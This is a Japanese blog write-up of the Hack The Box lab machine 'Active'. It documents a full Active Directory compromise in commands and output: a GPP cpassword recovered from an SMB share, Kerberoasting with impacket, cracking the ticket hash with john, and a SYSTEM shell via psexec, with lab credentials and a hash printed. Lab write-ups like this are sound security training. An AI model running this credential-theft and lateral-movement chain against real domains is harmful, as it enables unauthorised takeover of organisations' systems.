【Hack The Box】Active【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Active___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.10.100 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.10.100:53
Open 10.10.10.100:88
Open 10.10.10.100:135
Open 10.10.10.100:139
Open 10.10.10.100:389
Open 10.10.10.100:445
Open 10.10.10.100:464
Open 10.10.10.100:593
Open 10.10.10.100:636
Open 10.10.10.100:5722
Open 10.10.10.100:9389
Open 10.10.10.100:49152
Open 10.10.10.100:49153
Open 10.10.10.100:49155
Open 10.10.10.100:49154
Open 10.10.10.100:49157
Open 10.10.10.100:49158
Open 10.10.10.100:49165
Open 10.10.10.100:49170
Open 10.10.10.100:49171
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 05:50 EDT
Initiating Ping Scan at 05:50
Scanning 10.10.10.100 [4 ports]
Completed Ping Scan at 05:50, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:50
Completed Parallel DNS resolution of 1 host. at 05:50, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:50
Scanning 10.10.10.100 [20 ports]
Discovered open port 445/tcp on 10.10.10.100
Discovered open port 139/tcp on 10.10.10.100
Discovered open port 636/tcp on 10.10.10.100
Discovered open port 53/tcp on 10.10.10.100
Discovered open port 135/tcp on 10.10.10.100
Discovered open port 49154/tcp on 10.10.10.100
Discovered open port 49158/tcp on 10.10.10.100
Discovered open port 5722/tcp on 10.10.10.100
Discovered open port 49155/tcp on 10.10.10.100
Discovered open port 49170/tcp on 10.10.10.100
Discovered open port 49165/tcp on 10.10.10.100
Discovered open port 88/tcp on 10.10.10.100
Discovered open port 389/tcp on 10.10.10.100
Discovered open port 9389/tcp on 10.10.10.100
Discovered open port 464/tcp on 10.10.10.100
Discovered open port 593/tcp on 10.10.10.100
Discovered open port 49153/tcp on 10.10.10.100
Discovered open port 49157/tcp on 10.10.10.100
Discovered open port 49152/tcp on 10.10.10.100
Discovered open port 49171/tcp on 10.10.10.100
Completed SYN Stealth Scan at 05:50, 0.41s elapsed (20 total ports)
Nmap scan report for 10.10.10.100
Host is up, received echo-reply ttl 127 (0.20s latency).
Scanned at 2023-07-27 05:50:19 EDT for 0s

PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
88/tcp    open  kerberos-sec   syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
464/tcp   open  kpasswd5       syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
5722/tcp  open  msdfsr         syn-ack ttl 127
9389/tcp  open  adws           syn-ack ttl 127
49152/tcp open  unknown        syn-ack ttl 127
49153/tcp open  unknown        syn-ack ttl 127
49154/tcp open  unknown        syn-ack ttl 127
49155/tcp open  unknown        syn-ack ttl 127
49157/tcp open  unknown        syn-ack ttl 127
49158/tcp open  unknown        syn-ack ttl 127
49165/tcp open  unknown        syn-ack ttl 127
49170/tcp open  unknown        syn-ack ttl 127
49171/tcp open  unknown        syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds
           Raw packets sent: 24 (1.032KB) | Rcvd: 21 (908B)
```
Windows環境ぽい。色々とPortが開いているので、情報を収集していこうと思う。

ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 389 -n -Pn 10.10.10.100 --script ldap-rootdse
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 05:51 EDT
Nmap scan report for 10.10.10.100
Host is up (0.18s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       currentTime: 20230727095104.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=active,DC=htb
|       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=active,DC=htb
|       namingContexts: DC=active,DC=htb
|       namingContexts: CN=Configuration,DC=active,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=active,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=active,DC=htb
|       defaultNamingContext: DC=active,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=active,DC=htb
|       configurationNamingContext: CN=Configuration,DC=active,DC=htb
|       rootDomainNamingContext: DC=active,DC=htb
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       highestCommittedUSN: 114787
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       dnsHostName: DC.active.htb
|       ldapServiceName: active.htb:dc$@ACTIVE.HTB
|       serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=active,DC=htb
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       isSynchronized: TRUE
|       isGlobalCatalogReady: TRUE
|       domainFunctionality: 4
|       forestFunctionality: 4
|_      domainControllerFunctionality: 4
Service Info: Host: DC; OS: Windows 2008 R2

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
```
`dnsHostName: DC.active.htb`からドメインの情報は分かった。

# Collection
## rpcclient
RPCで列挙が出来るか試す。
```bash
┌──(root㉿kali)-[~/work]
└─# rpcclient 10.10.10.100  -U '' -N
rpcclient $> enumdomains
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaquery
do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> querydominfo
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> 
```
何もなかった。
## nmap-vuln
やけくそでvulnスクリプト回してみる。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -Pn 10.10.10.100 --script vuln                                                                                        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 05:53 EDT
Nmap scan report for active.htb (10.10.10.100)
Host is up (0.21s latency).
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
|_ssl-ccs-injection: No reply from server (TIMEOUT)
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Nmap done: 1 IP address (1 host up) scanned in 413.14 seconds
```
何の成果も！！上げられませんでした！！！

## SMB
Port445があいているのでここら辺を探索してみる。
nmapのスクリプトを回してみる。まずは基本情報の列挙だ。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -p 445 -n -Pn 10.10.10.100 --script smb-protocols,smb-os-discovery,smb-enum-shares,smb-enum-users,smb-enum-services    
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-27 05:53 EDT
Nmap scan report for 10.10.10.100
Host is up (0.19s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
| smb-protocols: 
|   dialects: 
|     2:0:2
|_    2:1:0

Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds
```
何も使えそうな情報は出てこなかった。
んじゃ実際に入っるか見てみる。
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient -N -L \\\\10.10.10.100
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Replication     Disk      
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
ほう、共有階層に面白そうなのがあるね。
Usersに突っ込めるかな？
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient -N \\\\10.10.10.100\\Users      
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
```
ダメでした。んじゃ`Replication`の方で！
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient -N \\\\10.10.10.100\\Replication 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

                5217023 blocks of size 4096. 278872 blocks available
```
ああ、これっぽいな最初の調査対象。
これをフォルダごと持ってきます。
```bash
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0.2 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (3.5 KiloBytes/sec) (average 0.9 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0.7 KiloBytes/sec) (average 0.9 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (1.4 KiloBytes/sec) (average 1.0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (4.7 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \> 
```
よし、調査を開始します。
# Credential Access
## GPP
引っ張ってきた階層を色々と調査していると色々とグループポリシーのようなファイルが散見される。
その中で以下のファイルを発見した。
```bash
┌──(root㉿kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─# cat Groups.xml  
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```
ほう、ユーザ名とあとGPPのクレデンシャルが見えるな。AESで暗号化されている奴だったような気がする。
調べてみると復号化できる便利なコマンドがあるので試してみる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/056766f4-ada3-a528-c2c1-0153ba22c442.png)
上手く復元できたようだ。ここら辺の話は以下の記事を参考にしてほしい。

https://infosecwriteups.com/attacking-gpp-group-policy-preferences-credentials-active-directory-pentesting-16d9a65fa01a

んじゃこれを使ってアクセスしてみる。

## shell
いつものごとくwinrmでアクセスしてみる。
```bash
┌──(root㉿kali)-[~/work]
└─# evil-winrm -i 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18                                                           
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type Errno::ECONNREFUSED happened, message is Connection refused - Connection refused - connect(2) for "10.10.10.100" port 5985 (10.10.10.100:5985)                                                                                                                                                  
                                        
Error: Exiting with code 1
```
ん？？ダメと言われる。
Portが開いてないからか？んじゃSmbexecで...こいつもダメだった。
もしかして見れる階層が限られている？？smbmapで確認する。
```bash
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share 
        Users                                                   READ ONLY
```
そうっぽい。Users階層は入れそうなので、この階層へ入ってみる。
```bash
┌──(root㉿kali)-[~/work]
└─# smbclient -U svc_tgs \\\\10.10.10.100\\Users                                                                                 
Password for [WORKGROUP\svc_tgs]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Sat Jul 21 10:39:20 2018
  ..                                 DR        0  Sat Jul 21 10:39:20 2018
  Administrator                       D        0  Mon Jul 16 06:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 01:06:44 2009
  Default                           DHR        0  Tue Jul 14 02:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 01:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009
  Public                             DR        0  Tue Jul 14 00:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018

                5217023 blocks of size 4096. 278856 blocks available
smb: \> 
```
入れてますね。んじゃ探索。
```bash
smb: \> 
smb: \> cd SVC_TGS
smb: \SVC_TGS\> dir
  .                                   D        0  Sat Jul 21 11:16:32 2018
  ..                                  D        0  Sat Jul 21 11:16:32 2018
  Contacts                            D        0  Sat Jul 21 11:14:11 2018
  Desktop                             D        0  Sat Jul 21 11:14:42 2018
  Downloads                           D        0  Sat Jul 21 11:14:23 2018
  Favorites                           D        0  Sat Jul 21 11:14:44 2018
  Links                               D        0  Sat Jul 21 11:14:57 2018
  My Documents                        D        0  Sat Jul 21 11:15:03 2018
  My Music                            D        0  Sat Jul 21 11:15:32 2018
  My Pictures                         D        0  Sat Jul 21 11:15:43 2018
  My Videos                           D        0  Sat Jul 21 11:15:53 2018
  Saved Games                         D        0  Sat Jul 21 11:16:12 2018
  Searches                            D        0  Sat Jul 21 11:16:24 2018

                5217023 blocks of size 4096. 278856 blocks available
smb: \SVC_TGS\> cd Desktop
smb: \SVC_TGS\Desktop\> dir
  .                                   D        0  Sat Jul 21 11:14:42 2018
  ..                                  D        0  Sat Jul 21 11:14:42 2018
  user.txt                           AR       34  Thu Jul 27 00:35:21 2023

                5217023 blocks of size 4096. 278856 blocks available
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \SVC_TGS\Desktop\> 
```
Userゲットできました！まさか完全なShellをゲットできないとは...Privesc苦労するぞこれ...

# Privilege Escalation
## RustHound
遠隔で列挙できるToolで試してみる。
Rusthoundさんお願いします！！！
```bash
┌──(root㉿kali)-[/opt/RustHound]
└─# docker run -v /opt/RustHound/work:/tmp/htb rusthound -d active.htb -i 10.10.10.100 -u 'SVC_TGS@active.htb' -p 'GPPstillStandingStrong2k18' -o '/tmp/htb' -z        
---------------------------------------------------
Initializing RustHound at 10:54:41 on 07/27/23
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2023-07-27T10:54:41Z INFO  rusthound] Verbosity level: Info
[2023-07-27T10:54:41Z INFO  rusthound::ldap] Connected to ACTIVE.HTB Active Directory!
[2023-07-27T10:54:41Z INFO  rusthound::ldap] Starting data collection...
[2023-07-27T10:54:43Z INFO  rusthound::ldap] All data collected for NamingContext DC=active,DC=htb
[2023-07-27T10:54:43Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2023-07-27T10:54:43Z INFO  rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2023-07-27T10:54:43Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2023-07-27T10:54:43Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2023-07-27T10:54:43Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 5 users parsed!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 49 groups parsed!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 1 computers parsed!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 1 ous parsed!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 1 domains parsed!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 2 gpos parsed!
[2023-07-27T10:54:43Z INFO  rusthound::json::maker] 21 containers parsed!

RustHound Enumeration Completed at 10:54:43 on 07/27/23! Happy Graphing!

[2023-07-27T10:54:43Z INFO  rusthound::json::maker] /tmp/htb/20230727105443_active-htb_rusthound.zip created!
```
よし！とりあえずldap経由での列挙は出来そうだ！！
続いて`neo4j`と`bloodhound`を起動します。
```bash
┌──(root㉿kali)-[~/work]
└─# neo4j console
```
```bash
┌──(root㉿kali)-[~]
└─# bloodhound 
```
出来たZIPを投入して確認します。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f06450d8-b043-c8a6-a979-e698f4a6070b.png)
いいPathはない。
だが調査を続けると気になる記述があった。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4084b6eb-c340-b9f4-549f-c811ba9b7651.png)
管理者のSPNが提供されてそう。これはTGSから払い出されるSTからハッシュ抽出してKerberoastingする流れなのでしょうか？？
SVC_TGS目線でも確認する。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/54c28d89-adb0-8e23-d19c-63b15322af76.png)
GenericAllのPermissionなので余裕。Kerberoastingしろって言われてるしね！
ああ、だからこのユーザ名なのねｗ

## Kerberoasting
ImpacketのGetUserSPNsを使ってSTを取得する。その際にハッシュも抽出しておく。
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request -save -outputfile tgs.hash
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2023-07-27 00:35:28.078171     
```
抽出したものを確認する。
```bash
┌──(root㉿kali)-[~/work]
└─# ls -lta
total 138784
drwxr-xr-x  3 root root      4096 Jul 27 07:23 .
-rw-r--r--  1 root root      1190 Jul 27 07:23 Administrator.ccache
-rw-r--r--  1 root root      1878 Jul 27 07:23 tgs.hash
drwx------ 16 root root      4096 Jul 27 06:55 ..
-rw-r--r--  1 root root        34 Jul 27 06:19 user.txt
-rw-r--r--  1 root root        87 Jul 27 06:11 hash
-rw-r--r--  1 root root 139921507 Jul 27 06:11 rockyou.txt
drwxr-xr-x  5 root root      4096 Jul 27 06:01 active.htb


┌──(root㉿kali)-[~/work]
└─# cat tgs.hash
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$faefbe2975e30ebfde3caf0f771ec678$fa8bbaaff8c8454a6b6af0b8f12a39d58afa68fcfaae5810330e4f1247eb92cff73d3645747bc6d91068f2bd44c05d3eeb17ae82a8a07e7cf6bf896b64429595601518e0ab4dc1dfc9069f564f18bc72cae6e93e27201ef8cad7e6c41df9fee42d71f07c15bd979fb43c855300c6b82c5888641e04326feee6b13267c9c7e27062cd06235310f858f274a841cc791ef745236eb74d47adb83e5b38fd9862ca88671c4b2d1443ca6f1175228c3321065ea650f051cc1ff1d152f0a91a62482337b2deb9c383b2b6c739ac69baa4fe4e661f78ddb35be43b25ea715a6ed91f44ad1e0ec30156c7b0d73390f1e937a0ae0e1c1e12a68444bedfa5c9d253d640645405dbca840e2e2a027121b948befea758f1ad8735c0228460c7a57daf89f95fe485ce269b306dc5555bc44ff2ac071ed0790d49ac56ca13f948be4fa043ec66874197a975daea5a0136f6cff86a358d2d1afc73129b50dfef02a371373eb0c4d4d41e5f9e121b968d7c6d88907dac614c5166f8d3ede2bc0f6890a9a21d97f9af6adc203d54f58db169c1d5e7e4e1a5cdda60534edd298a0994c568eca55e1928bcb604e6a78df9680451b60610988442692f2c3ff2a61e87d9876c5d68a9f837202f7c30c3b2a9508fe8feb4f28c4a4d2bcb1c8905356e6abbf0657a26123da103b21f94dad2351f652d1ed98df688d63912b8ea2f6d92b6111e2a81b9ecdd95f40482ea04bc11cda86eec3e0e7510ba4fc81626a3bcbe1f6c7b2ee54ae9a453e94548fd540ba846b67eaf1fe919fae5f6c1211ce13166ea5bb603a1a8360f1d6ee09b5e1f0b523305719b3de44526bb8fd07a377c45c750887f3a26b54d7364828517608be818b6c9d93e751dee73f000264c2c4890c710c5da8fb2d1730443211a021c28b51d54a6efca00387c59720838bdc41eacb1cc31a6930fc278d29ec3b6b7843719e08fd67c12bd6d18efcc1ccf40ee149daeefeacd8980255e7c30f5be87d05a99ea30e3bb7427131055d5ed26842d21c4dc63f4ea7639ad6cfb4d9def95f24426d93f2048da4b6a51b11210f946b217a2f47ea701cfa7fa818bdd7523f00212b018d083449ad7b47ad82bcc93e4af3ecb3d79bba60d974f1d011b7c36cce74a8b64849ba573a590596e3090fbd35ec7d591d555e579c4a02098439a65139b2403ba15fdaf339eabea51550381cd05a6e83cf89ca4a17b5a2accfdd3da5b9467befaa04b2b78c8ef26102e11bfb390a21a8339a486
```
このハッシュをJohnさんで解析する。
頼みます！！！
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt tgs.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)     
1g 0:00:00:06 DONE (2023-07-27 07:24) 0.1443g/s 1520Kp/s 1520Kc/s 1520KC/s Tiffani1432..Tiago_18
Use the "--show" option to display all of the cracked passwords reliably
```
きました！勝ちです！！！
一応アクセスできるか確認してみる。
```bash
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.10.10.100 -d active.htb -u administrator -p Ticketmaster1968
[+] IP: 10.10.10.100:445        Name: active.htb                                        
[\] Work[!] Unable to remove test directory at \\10.10.10.100\SYSVOL\CRZDFMTGXJ, please remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  READ, WRITE     Remote Admin
        C$                                                      READ, WRITE     Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ, WRITE     Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  READ, WRITE     Logon server share 
        Users                                                   READ ONLY
```
ADMIN$のこのPermissionならsmbexecやらpsexecでアクセスできそう！
試してみます。
```bash
┌──(root㉿kali)-[~/work]
└─# impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file pAQhNxnp.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service SwHh on 10.10.10.100.....
[*] Starting service SwHh.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> 
 
C:\Windows\system32> whoami
nt authority\system
```
Administrator権限を奪取できました！！！

# まとめ
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f7e09e77-1377-419c-ae1e-e27b563979da.png)
今回はFreeになっていたRetiredマシンを攻略しました。Windowsマシンは貴重なので助かります。
smbでの不完全シェルを強制される辛いBoxでした。その際の権限上昇のための列挙方法を用意しておかないとなと思いました。smbシェルはやりにくい。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。